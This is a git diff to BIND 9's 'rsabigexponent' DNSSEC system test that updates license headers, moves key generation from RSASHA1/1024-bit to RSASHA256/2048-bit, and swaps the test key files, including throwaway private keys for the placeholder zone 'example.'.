  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,8 +16,6 @@
 
 #include <isc/buffer.h>
 #include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
 #include <isc/region.h>
 #include <isc/stdio.h>
 #include <isc/string.h>
@@ -29,22 +29,22 @@
 #include <openssl/objects.h>
 #include <openssl/rsa.h>
 
+#include <isc/result.h>
+
 #include <dns/dnssec.h>
 #include <dns/fixedname.h>
 #include <dns/keyvalues.h>
 #include <dns/log.h>
 #include <dns/name.h>
 #include <dns/rdataclass.h>
-#include <dns/result.h>
 #include <dns/secalg.h>
 
 #include <dst/dst.h>
-#include <dst/result.h>
 
 dst_key_t *key;
 dns_fixedname_t fname;
 dns_name_t *name;
-unsigned int bits = 1024U;
+unsigned int bits = 2048U;
 isc_mem_t *mctx;
 isc_log_t *log_;
 isc_logconfig_t *logconfig;
@@ -66,6 +66,7 @@ EVP_PKEY *pkey;
 				"%d\n",                                       \
 				msg, isc_result_totext(result), __FILE__,     \
 				__LINE__);                                    \
+			ERR_clear_error();                                    \
 			exit(1);                                              \
 		}                                                             \
 	} while (0)
@@ -75,8 +76,6 @@ main(int argc, char **argv) {
 	UNUSED(argc);
 	UNUSED(argv);
 
-#if !USE_PKCS11
-
 	rsa = RSA_new();
 	e = BN_new();
 	pkey = EVP_PKEY_new();
@@ -85,6 +84,7 @@ main(int argc, char **argv) {
 	    !EVP_PKEY_set1_RSA(pkey, rsa))
 	{
 		fprintf(stderr, "fatal error: basic OpenSSL failure\n");
+		ERR_clear_error();
 		exit(1);
 	}
 
@@ -100,11 +100,10 @@ main(int argc, char **argv) {
 			"fatal error: RSA_generate_key_ex() fails "
 			"at file %s line %d\n",
 			__FILE__, __LINE__);
+		ERR_clear_error();
 		exit(1);
 	}
 
-	dns_result_register();
-
 	isc_mem_create(&mctx);
 	CHECK(dst_lib_init(mctx, NULL), "dst_lib_init()");
 	isc_log_create(mctx, &log_, &logconfig);
@@ -132,7 +131,7 @@ main(int argc, char **argv) {
 								    "\"example."
 								    "\")");
 
-	CHECK(dst_key_buildinternal(name, DNS_KEYALG_RSASHA1, bits,
+	CHECK(dst_key_buildinternal(name, DNS_KEYALG_RSASHA256, bits,
 				    DNS_KEYOWNER_ZONE, DNS_KEYPROTO_DNSSEC,
 				    dns_rdataclass_in, pkey, mctx, &key),
 	      "dst_key_buildinternal(...)");
@@ -152,9 +151,6 @@ main(int argc, char **argv) {
 	dst_lib_destroy();
 	isc_mem_destroy(&mctx);
 	return (0);
-#else  /* !USE_PKCS11 */
-	return (1);
-#endif /* !USE_PKC11 */
 }
 
 /*! \file */
diff --git a/bin/tests/system/rsabigexponent/clean.sh b/bin/tests/system/rsabigexponent/clean.sh
index 936dac5d5b..22ea41ad2a 100644
--- a/bin/tests/system/rsabigexponent/clean.sh
+++ b/bin/tests/system/rsabigexponent/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/rsabigexponent/conf/bad01.conf b/bin/tests/system/rsabigexponent/conf/bad01.conf
index 1c56cc338b..720d19758c 100644
--- a/bin/tests/system/rsabigexponent/conf/bad01.conf
+++ b/bin/tests/system/rsabigexponent/conf/bad01.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/conf/bad02.conf b/bin/tests/system/rsabigexponent/conf/bad02.conf
index 671199d3ff..bd1e827380 100644
--- a/bin/tests/system/rsabigexponent/conf/bad02.conf
+++ b/bin/tests/system/rsabigexponent/conf/bad02.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/conf/bad03.conf b/bin/tests/system/rsabigexponent/conf/bad03.conf
index d7edae6d06..4331b52b79 100644
--- a/bin/tests/system/rsabigexponent/conf/bad03.conf
+++ b/bin/tests/system/rsabigexponent/conf/bad03.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/conf/good01.conf b/bin/tests/system/rsabigexponent/conf/good01.conf
index bfa7a4517c..1d2cd0181c 100644
--- a/bin/tests/system/rsabigexponent/conf/good01.conf
+++ b/bin/tests/system/rsabigexponent/conf/good01.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/conf/good02.conf b/bin/tests/system/rsabigexponent/conf/good02.conf
index d87fb7fb53..861e054840 100644
--- a/bin/tests/system/rsabigexponent/conf/good02.conf
+++ b/bin/tests/system/rsabigexponent/conf/good02.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/conf/good03.conf b/bin/tests/system/rsabigexponent/conf/good03.conf
index 0a70e29fe3..14a98f8468 100644
--- a/bin/tests/system/rsabigexponent/conf/good03.conf
+++ b/bin/tests/system/rsabigexponent/conf/good03.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/ns1/named.conf.in b/bin/tests/system/rsabigexponent/ns1/named.conf.in
index 6122dc1a51..4a9822d05b 100644
--- a/bin/tests/system/rsabigexponent/ns1/named.conf.in
+++ b/bin/tests/system/rsabigexponent/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/rsabigexponent/ns1/root.db.in b/bin/tests/system/rsabigexponent/ns1/root.db.in
index d205fc87e8..a85d814174 100644
--- a/bin/tests/system/rsabigexponent/ns1/root.db.in
+++ b/bin/tests/system/rsabigexponent/ns1/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -13,7 +15,7 @@ $TTL	300
 			3600		; refresh
 			1200		; retry
 			604800		; expire
-			60		; minimum			
+			60		; minimum
 			)
 @		NS	a.root-servers.nil.
 a.root-servers.nil.	A	10.53.0.1
diff --git a/bin/tests/system/rsabigexponent/ns1/sign.sh b/bin/tests/system/rsabigexponent/ns1/sign.sh
index 1b8d6084d6..8a2f6b99b5 100755
--- a/bin/tests/system/rsabigexponent/ns1/sign.sh
+++ b/bin/tests/system/rsabigexponent/ns1/sign.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,9 +17,9 @@ zone=.
 infile=root.db.in
 zonefile=root.db
 
-cp ../ns2/dsset-example.in dsset-example$TP
+cp ../ns2/dsset-example.in dsset-example.
 
-keyname=`$KEYGEN -q -a RSASHA1 -b 1024 -n zone $zone`
+keyname=$($KEYGEN -q -a RSASHA256 -b 2048 -n zone $zone)
 
 cat $infile $keyname.key > $zonefile
 
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.key b/bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.key
deleted file mode 100644
index 1030c21ecc..0000000000
--- a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.key
+++ /dev/null
@@ -1,2 +0,0 @@
-; This is a key-signing key, keyid 5896, for example.
-example. IN DNSKEY 257 3 5 AwEAAaLNbgMfH/XUwZC9DBVG4OpYVUVyCyZEBqhk3k6WziIAY+2f7MN3 L9CoZR9GqfqM+/c6g8gfkIaZZ2YP/YUUaN73xH/nxtHYkrP5Rqe/dw7q ONnsVwvf3HJ8HvURG3wjaOrPoe207+HpNTNhe/sT2usKhokSU8yKB0DK lnrKQvp9vScsIB/RsIxOXWmYgOMkSXtpI3lQ07l1i2Tv6UnecD9s8ruk fl/gPbRBketLYACrqpb2j/1f7ciQv+rz1GnN9ma8XK1Yw8173/hrVL1S /ZqTGczwdeA3AVyiHThOZ15EPhSuL7jaJusHOi43Aa8ZfCMCeimT73F5 epktGomAxFU=
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.private b/bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.private
deleted file mode 100644
index dbac3062d1..0000000000
--- a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+05896.private
+++ /dev/null
@@ -1,10 +0,0 @@
-Private-key-format: v1.3
-Algorithm: 5 (RSASHA1)
-Modulus: os1uAx8f9dTBkL0MFUbg6lhVRXILJkQGqGTeTpbOIgBj7Z/sw3cv0KhlH0ap+oz79zqDyB+QhplnZg/9hRRo3vfEf+fG0diSs/lGp793Duo42exXC9/ccnwe9REbfCNo6s+h7bTv4ek1M2F7+xPa6wqGiRJTzIoHQMqWespC+n29JywgH9GwjE5daZiA4yRJe2kjeVDTuXWLZO/pSd5wP2zyu6R+X+A9tEGR60tgAKuqlvaP/V/tyJC/6vPUac32ZrxcrVjDzXvf+GtUvVL9mpMZzPB14DcBXKIdOE5nXkQ+FK4vuNom6wc6LjcBrxl8IwJ6KZPvcXl6mS0aiYDEVQ==
-PublicExponent: AQAB
-PrivateExponent: K9juX1LbtccmlwgDoBtl6lf+J2UO0bCSpnn8UehV/lxijZZ8Gy0XqLgh/Cl5EG02U6Dj61ts/oOEkL2Px272y86pktVm/A+7e1ORDw8HTvIQe8kmrKEPa5o4cEK6R1X2JP/lGfOYhBzeYkdIMBhp5tH/6B0Sis1GJNIrc0jUf0g+JvOH/j1SpLoKoDpHUwOWnAt92AZsYhyJgeDXgw+xTBcOVvRfmh3Zmoi6x58lmQsU3loloqQ2V2V3xw1qEhTwBtFiguqeUV/FZl+RerT+lld7v2KkuxchyxlCCavgq6bZSUpn3TxcmnK6pj42oTy11hG9PHvIS8VNpGLr0p6mpQ==
-Prime1: 2KZlb2BXJHEJJv2iuJoddNuDlDStG77cA7FR84Dsarbc5rHj1BjwOPDec235LQOzNAAVMTh3B8/8kcAkx/U0F2FPfgAS/ZK2dOBKcJFU4bmUQDsLMXJn67Pf7d1HeDYfVPSFp1Ib/G91dXuo11+nRZJRfKUW19aFYXybSLVmifM=
-Prime2: wF9HHnv17f1L3VLBJ+qndiPcp/l24fVk5xWrbZlivK+WFrZkHFbmN+WRIkjKbe1mBf4z2fMp1JZKt8wViJVG9Bkk2wSCQA74MrejPFlD9AEMC/TrV7F/l89DryG9YeLAk6td38opGiAmRHzSdrjstUF+iv7IAW+fghPQ3O4ogpc=
-Exponent1: Nmtlo1phyUeTcvXW/+PGbmoNXRb2PLfucAcEfNPvjsasKk6Y2dgBz2vBlOEU7Be31eIHcLusOowl9z56fre7A/xviUjffE50AluslyYKWkDRWmj6YMtKC0y9fPROVYXSzPY29FaNrRUaPg531NG0JKeiTFrzp/e8vUYdg1/9h70=
-Exponent2: r5+MNwlmaQJBG2psivuQLKvqy7NU1E8K8mj3G1TYLniCpnOXC8RN4yQDDvCzVg5QgRIk1kpHmxwmVIvN8OaPY1P9MLJ6Eu9Xqj26meLIxd+a1uOfY2zZloeTPDSqR84Sj/338tIGGiLVrNrj7Z1ABO4pD84wXBdC4SckHD6U3zs=
-Coefficient: c1jE021ke1G/1+C/mqhVtXF9/+ivfw9Ae6na3PofQREs3wiBJH7kpbLmTqc1ovXrHA3BbD1CfWUBhrFK/n5MvsU59VGmz5mD+HGsHC1eoaS4JCG5EWFUP8MStiv+JJGyfuK8MUGsEXQorfQmzGXhe5N2S+4dEYDfksSVd9Wg9d0=
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.key b/bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.key
deleted file mode 100644
index 53432675ac..0000000000
--- a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.key
+++ /dev/null
@@ -1,2 +0,0 @@
-; This is a zone-signing key, keyid 51829, for example.
-example. IN DNSKEY 256 3 5 BwEAAAAAAAGfDKVFak/2o446xOsi39QnfZmRidaRyg3LaCxDBM6kVqCH QKI3a2lEf4FWVSbp+dYjGavsqWJ/Z7poMRy9JJol2bMLhtsZhESK5EYR aR/2dLw5H10SR+wb/qRVVYovWlk67sql7XYc3x5cjc4XaMVziBBrQMiW qkQS2oGQLwKCLw==
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.private b/bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.private
deleted file mode 100644
index 35acd10fcb..0000000000
--- a/bin/tests/system/rsabigexponent/ns2/Xexample.+005+51829.private
+++ /dev/null
@@ -1,10 +0,0 @@
-Private-key-format: v1.3
-Algorithm: 5 (RSASHA1)
-Modulus: nwylRWpP9qOOOsTrIt/UJ32ZkYnWkcoNy2gsQwTOpFagh0CiN2tpRH+BVlUm6fnWIxmr7Klif2e6aDEcvSSaJdmzC4bbGYREiuRGEWkf9nS8OR9dEkfsG/6kVVWKL1pZOu7Kpe12HN8eXI3OF2jFc4gQa0DIlqpEEtqBkC8Cgi8=
-PublicExponent: AQAAAAAAAQ==
-PrivateExponent: Aidz1Ah0WnUxdjZQ5J2bkXXOvP7ZhxtrmNvaQkQpEOjc5EW0mh+8f6rmp19CZHVwjk1nRfTgSnPk/y+xsyfroBRf5RH+6bjvB3mk+uSor6+xibdTy+HlEyd5YPdGzHmqFUe7pcL25kO0QSqdEVjvBP9SCgscDBhrTHURYsPxudE=
-Prime1: 0nuP62sq8a1OyjGqmsqhf6XrpwRXSKYVjdJEdRzogi/fnU/AWDZdc2W8JOC1nxdbfVC68b8G+Vc+5GOsuUw56Q==
-Prime2: wXG1f8INIsNLGtEhAuqw320onFrqBEgs+EkEZeUxHP5hUkchoUSnqTZrfRUA+UuOD2sI0NtA3OYCXaihgWu0Vw==
-Exponent1: QooxjUxTEcn9N5ehnpK0VD3gKwoW3C2NIv/2GeKVpL+ZcsD6iMzmHou/WVOAt0oz+RdWDLxpEzakwUhslPN6+Q==
-Exponent2: PP9JlJFaGEs3ckmvj53NXKz0fkbjtIOJvWwnkT7WrVpTgaUISjuSxLOfUDrrFC9JGAIAmoWDrI76QrTanbLiyw==
-Coefficient: u4jEvCVMxzmDBCjw8MLuTZtuBqs0ScAT7NkceBrjhdpCV1DtzVGJgbwI2GEHqEcSlcVAQCM92vPz76lL4Q94zw==
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+008+51650.key b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+51650.key
new file mode 100644
index 0000000000..60ff1879cb
--- /dev/null
+++ b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+51650.key
@@ -0,0 +1,5 @@
+; This is a key-signing key, keyid 51650, for example.
+; Created: 20220721024334 (Thu Jul 21 12:43:34 2022)
+; Publish: 20220721024334 (Thu Jul 21 12:43:34 2022)
+; Activate: 20220721024334 (Thu Jul 21 12:43:34 2022)
+example. IN DNSKEY 257 3 8 AwEAAeeXAGBcXxSNj5X/PWT8XDBk4U9OUkZ7YKQBf2IN3V6OZomt/s3F UWIh70Wot+z1Ld3Rfswq1DjCaWNRFOMhs+9j3Fhc46wMZ4pnsDW1nLHk 2TnQRdrbiuhLkQy5oNMjSRxu924XLw5ylsuqjxE7vXcCeKSFe674roSq wo39atWsTJMDz0FQGxlPucnXai0nHoCeC7+u1s+wLaGcpNSZlsab7Zny FD4HZ3HKUCJw/Jjr5CZjqal9KdmWSC1SINRtlAN6PX5VSiNEncnYMCdj iv+ZhRGn+aHh1BmEWomGbAm2Jjw5mrYMgDs9lJRc5Vtg0YXb9OkYvxNF V4QGw1oeF+M=
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+008+51650.private b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+51650.private
new file mode 100644
index 0000000000..d38a0b3e85
--- /dev/null
+++ b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+51650.private
@@ -0,0 +1,13 @@
+Private-key-format: v1.3
+Algorithm: 8 (RSASHA256)
+Modulus: 55cAYFxfFI2Plf89ZPxcMGThT05SRntgpAF/Yg3dXo5mia3+zcVRYiHvRai37PUt3dF+zCrUOMJpY1EU4yGz72PcWFzjrAxnimewNbWcseTZOdBF2tuK6EuRDLmg0yNJHG73bhcvDnKWy6qPETu9dwJ4pIV7rviuhKrCjf1q1axMkwPPQVAbGU+5yddqLScegJ4Lv67Wz7AtoZyk1JmWxpvtmfIUPgdnccpQInD8mOvkJmOpqX0p2ZZILVIg1G2UA3o9flVKI0SdydgwJ2OK/5mFEaf5oeHUGYRaiYZsCbYmPDmatgyAOz2UlFzlW2DRhdv06Ri/E0VXhAbDWh4X4w==
+PublicExponent: AQAB
+PrivateExponent: QaMgBa+YeRxIElS1g14tCMBGxXHmyrgkI0eTYWiZkbedYy8v1QU0NDJ2/NC9VEkHF2PNYrNO08lyEiaEW32NYG92n4qwMm6PmAAcRpSzFQ5N7N9VNRrdK0pjkW45IS5Shd8DfK3QdfFPQOkVxGYgpE7Mf6Cfde9gkxRMsO6erXEud6KyBm8kwBR/ipDeUQvpyGkZEQPjLxJG6REjMVhPKTzCV+82DWEf+Ok/3Uxa94+ocAbySHAV3j4YcWpVGWT002gc6CGk8c6TsPYnDkfKQ3moPQZijH7F8zrARtoobCX9TsMFhBqReceZrbzN7en2cZGR5MSISzoTNSr4rGo6aQ==
+Prime1: 8AV9EllWtclD62XHo95Z3h7JJ9t2gY7fUFG0WMbkI0Wj6kcr7k3bFfLj7GEJ1qgVW4Qpu7XnBvPB9hnqoCkbHLzc8ws1D2tY+PsXzvw9IxoXNM/eCobeulu/rYhJl2PcpY9bPcaaR0hldGoCHdFYSo8oi+C5hfRtIMVjnDtHSmk=
+Prime2: 9wHRxgyHjtl8ro9HAkvujxFkhChm4xLxIRM8pfZ+D1VHpzFRD3/RK8CVYVRB8GsQoFRygHBMOW1oHqynN9jddvJrQbHOqFZAbQQlesp0jRPd9Mm6q0cDwYcD4apscB2CUrUswMzoD3H4saIjGnitCsG/t+sLTvuK/giuMdS2Tms=
+Exponent1: pnSH+pOuiL+dtMCPJVvsoxhilJukodD9mewv0GmOic+gD7dwBgJEcAJUgvgBJLbIqQENGDrcj3u5Bf2PM6eOP+3SpVMeZyUhPPqV1lwj4hYUBfIqoM5L5J4AXk5oCu+cc8zpj/wNvmW8xnFGKnumaX7Ctc8Rmo6ap+F8ZTrPBBE=
+Exponent2: txXZKIRnAkJAwZ6f0pr3w4Hv0GmmAZArvQlmPdncDH94sfvDCssB/v0rfE4Y5hxl4YFWsc8LINHwiDQPajzLwvvi9nnWJT5xWJznLwHbrCparbPNMmFb7lmmTeGlqOCmlamG942qQLCI1xnIDTn/gWalNaz539xhZPSIMZVqX+s=
+Coefficient: eK9cQKFRLaU4udqB8t8KSQxlNl0x9J+9bcaEzn0+579LrZUZvspfiR4DNGwr9qK+PWk+CU7/6xsWbq2zbKIEWucoR97t+E8Zhx00GCDbiu/QI2wviEcYbB2udznRv1WSIDoCWf2TXeh5G2E2ugt5F4+b56qMXmT7IudxYGPtQCY=
+Created: 20220721024334
+Publish: 20220721024334
+Activate: 20220721024334
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+008+52810.key b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+52810.key
new file mode 100644
index 0000000000..a1f14c9cce
--- /dev/null
+++ b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+52810.key
@@ -0,0 +1,2 @@
+; This is a zone-signing key, keyid 52810, for example.
+example. IN DNSKEY 256 3 8 BwEAAAAAAAHYYy161+wCg6yFHRlyex8oVkcK+K2SBUryI1+DEKzjusH6 yLfzzlJCPGrubmD+jseKYwXfzelJkRQbMDjWbMYLHKytuPtwnJMSeVh+ a/Ore6oVPXy716EYpsEBSmVjfQyS0mGHpwrYk4QaKjJDM7Q173EFl/sE eXjHqInlzOgJbXqsCrSfA94anSt42DGhJeeIfQ8b3vqD/nCnA6C7khIt AWlfJto7d42Ev8tckjr3CrTW9tn9pHb2DKeh85rKeJBBLMYQU3jfF5KH EEsjztLGMnPLlXTteh8wKrk/0IJrot17w0FR0H2v8oG3xDXxfhJ0OeTW 7dtBHD6ISgqeJ9zt
diff --git a/bin/tests/system/rsabigexponent/ns2/Xexample.+008+52810.private b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+52810.private
new file mode 100644
index 0000000000..bbb5ad9653
--- /dev/null
+++ b/bin/tests/system/rsabigexponent/ns2/Xexample.+008+52810.private
@@ -0,0 +1,10 @@
+Private-key-format: v1.3
+Algorithm: 8 (RSASHA256)
+Modulus: 2GMtetfsAoOshR0ZcnsfKFZHCvitkgVK8iNfgxCs47rB+si3885SQjxq7m5g/o7HimMF383pSZEUGzA41mzGCxysrbj7cJyTEnlYfmvzq3uqFT18u9ehGKbBAUplY30MktJhh6cK2JOEGioyQzO0Ne9xBZf7BHl4x6iJ5czoCW16rAq0nwPeGp0reNgxoSXniH0PG976g/5wpwOgu5ISLQFpXybaO3eNhL/LXJI69wq01vbZ/aR29gynofOayniQQSzGEFN43xeShxBLI87SxjJzy5V07XofMCq5P9CCa6Lde8NBUdB9r/KBt8Q18X4SdDnk1u3bQRw+iEoKnifc7Q==
+PublicExponent: AQAAAAAAAQ==
+PrivateExponent: aD+JLNdCtAk1++UwcGdPslSoWq2szZHGrY+I+YfhfcBZrPP13exC40hgUgRNuYJOaJ3WMpgsKI4p8YDVNttF6LI7WNBURQhmBSwquB5BWWkoh7uR4PfKWGB0ZkDwUQcA2IdMVS4+QAKVQMmUXGnXhQI1p8duAORZp0gE71VsHTEzwf5AIEG2+f/oCjDsMJN0J7X3qktJr5ho64aMHyHf5+yKk6fFcy7wfC175SkIZ53uBfpCsFXkgq8YukXfcyoG5o4FUHheGnDwkVOzviEUHk8xweJnNNRbV6n/ck9AXzq3VSA9BbrXtRzZmre/L6tJvEnbH0EycwDkxCMlOSqGbQ==
+Prime1: /hnW5M2vzAoAjx2wum98YZZ6gv1IpV88c4HDLA3vY79Qxd8FYanldxPNjgQJEPjHD5hG6tGN+cjZdXv/X+sk5j3fmCB7RKwMKcoD8A/jyH2JaQLTbXm6EBd1BCMIN+w3W+A2E6evYYyINLwMUwqRlUcAaD8HoDLK8iz6iAUhFss=
+Prime2: 2gEuuug1PDnbWWFVzzMUrVXiRiFqJVTTvR3AjJVJNZPwAL4FMenh98rtI3s1zSB6P4RSyvRJ6YMOAT0ZrMxviJy76EExGgCB5F4w7g67I7VGPuA1tLn5kt5j9j5wQmdq1yMG5QpCJWr7bxjSDYvIzy2sZjZ/KTuHGtUzFUnHrCc=
+Exponent1: MaDlpmDYxZ2QvM+cp58Bj160u+21qIA/UZ2ysh6102uQmYHm92481z2+AvCJuq2PpkuROMd/4i2w7L0RbfZ2MYzUFndLZ8NgmNDjNDfUzeRQl2KQdAOLK4DNXmf3mKwLO0Sbj/pxgj0vYAe9gcU4Pe8ukVuSX0nkehbDi4cjfr0=
+Exponent2: cNHFlVCwvEPNVnpQCZS3iqF/D3HN8FtP2st0CrYbjQI8DYpcQUWVMqUqdqFOkYM0/qadpkX+JMlPJTjJZ8YDYYWIZGSC2ruMPIxB7DayVDBbgugmsC1isZjyApdQ44xtdNVyMYmcYeHUz5gR1x/eWdGNyjzMEvfbEjXIKbRykAM=
+Coefficient: ovH/7MP64Dai8draXD3t+jl6UTchig+LDwXA2GvlZY0HVP+9yvE49VSKhoYxolL/ZmabIgzzOAyJ66SyYq31ozxbpKrBGiFdzAbgkJgFIbdYMgfLHXNkH1vissGeY0KdS5ee6sKDfk1VmE94UOVHi11oslvnTiG2RF/I3koYV7Q=
diff --git a/bin/tests/system/rsabigexponent/ns2/dsset-example.in b/bin/tests/system/rsabigexponent/ns2/dsset-example.in
index 06bc89aac6..9ad254ba42 100644
--- a/bin/tests/system/rsabigexponent/ns2/dsset-example.in
+++ b/bin/tests/system/rsabigexponent/ns2/dsset-example.in
@@ -1,2 +1 @@
-example.		IN DS 5896 5 1 07766192DA7BDE32F6DC719B9F5A3476686F8758
-example.		IN DS 5896 5 2 CFBFD9C06EA15B0A984566573A18ACEC234FDC9C09103C0C53E75989 088A8FB4
+example. IN DS 51650 8 2 F225122667540159A30620B2D0888036BDF76276D245DE3453C883F0C3276705
diff --git a/bin/tests/system/rsabigexponent/ns2/example.db.bad b/bin/tests/system/rsabigexponent/ns2/example.db.bad
index 1d0d4b582e..b105978f6a 100644
--- a/bin/tests/system/rsabigexponent/ns2/example.db.bad
+++ b/bin/tests/system/rsabigexponent/ns2/example.db.bad
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -14,97 +16,141 @@ example.		300	IN SOA	mname1. . (
 					604800     ; expire (1 week)
 					3600       ; minimum (1 hour)
 					)
-			300	RRSIG	SOA 5 1 300 (
-					20361231235959 20000101000000 51829 example.
-					HW8O/KHJEObWSYtQD14+3MRtD6rasy/AeIAo
-					1HmtELxeUoMvVcQzm7z1RoeV6S7+r/SrUjAz
-					PwtlE4TpyTEj9sfTr4mJhU0DwrNW6dN6qHCw
-					vB3nuURVOKzU8V26PdFcjJB+/HnJT2LyLUqr
